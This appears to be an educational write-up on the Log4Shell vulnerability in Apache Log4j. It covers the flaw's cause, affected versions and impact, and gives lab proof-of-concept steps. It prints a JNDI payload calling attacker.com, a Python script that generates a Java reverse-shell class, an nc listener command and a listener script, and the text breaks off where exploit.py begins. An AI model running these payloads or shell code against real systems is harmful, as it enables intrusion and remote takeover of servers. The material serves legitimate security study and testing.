
Educational analysis of CVE-2021-44228 (Log4Shell) with PoC scripts, attack vector breakdown, and mitigation guidance for understanding and testing the critical RCE vulnerability in Apache Log4j.
Critical Impact (CVSS 10.0) | Discovered in 2021, this flaw in Apache Log4j allows remote code execution (RCE) and affects millions of systems globally. Even today, it remains a key reminder for cybersecurity!
CVE-2021-44228, known as Log4Shell, is a critical Remote Code Execution (RCE) vulnerability in the Apache Log4j 2 logging library. This flaw allows malicious attackers to execute arbitrary code on vulnerable servers simply by sending a specially crafted text string that the application logs.
Log4Shell is not alone; it led to CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS), and CVE-2021-4104 (RCE in Log4j 1.2).
The core of the problem is the unsafe handling of JNDI (Java Naming and Directory Interface) in Log4j, which resolves remote lookups without sanitization.
${jndi:ldap://attacker.com:1389/Exploit}
How it works:
${...} and triggers a JNDI lookup.Exploitable protocols: LDAP, RMI, DNS, IIOP, etc. This enables threats such as:
Infection Chain (Kill Chain):
| Feature | Detail |
|---|---|
| CVSS v3.1 Score | 10.0 (CRITICAL) 🔥 - Highest possible severity. |
| Affected Versions | Log4j 2.0-beta9 to 2.14.1 (includes derivatives up to 2.16.0 for sub-CVEs). |
| Root Cause | JNDI message substitution without validation; remote lookups enabled. |
| Vectors | Remote, unauthenticated; affects Java 8+ in web/cloud apps. |
| Impacted Products | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, and more. |
| Exploitation | Easy: public PoCs on GitHub; no privileges needed. |
Impact Statistics:
90% of cloud environments initially exposed.
⚠️ Warning: This content is for educational purposes and authorized testing only. Do not use on systems without explicit permission. Exploiting vulnerabilities without authorization is illegal (e.g., violates laws like CFAA in the U.S.). Always perform ethical pentesting.
Based on public repositories like kozmer/log4j-shell-poc, here is a simplified overview of a PoC in controlled environments (e.g., local Docker/VM).
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202).#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (simplified reverse shell code)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Exploit class generated successfully')
except Exception as e:
print(Fore.RED + f'[-] Error: {e}')
# ... (functions for LDAP server and web server similar to original)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] Educational PoC for CVE-2021-44228 - Use only in labs!")
# Arguments: --userip localhost --webport 8000 --lport 9001
# Starts LDAP, web server and generates payload
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - Monitor the reverse shell.${jndi:ldap://127.0.0.1:1389/a} in a login/search field.Simple Python PoC (Listener + Exploit): For quick demos, use this duo of scripts (run listener first).
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] Listener on {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] Connection from {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("Press Enter to stop...\n") # Keeps alive
exploit.py:
import requests
import argparse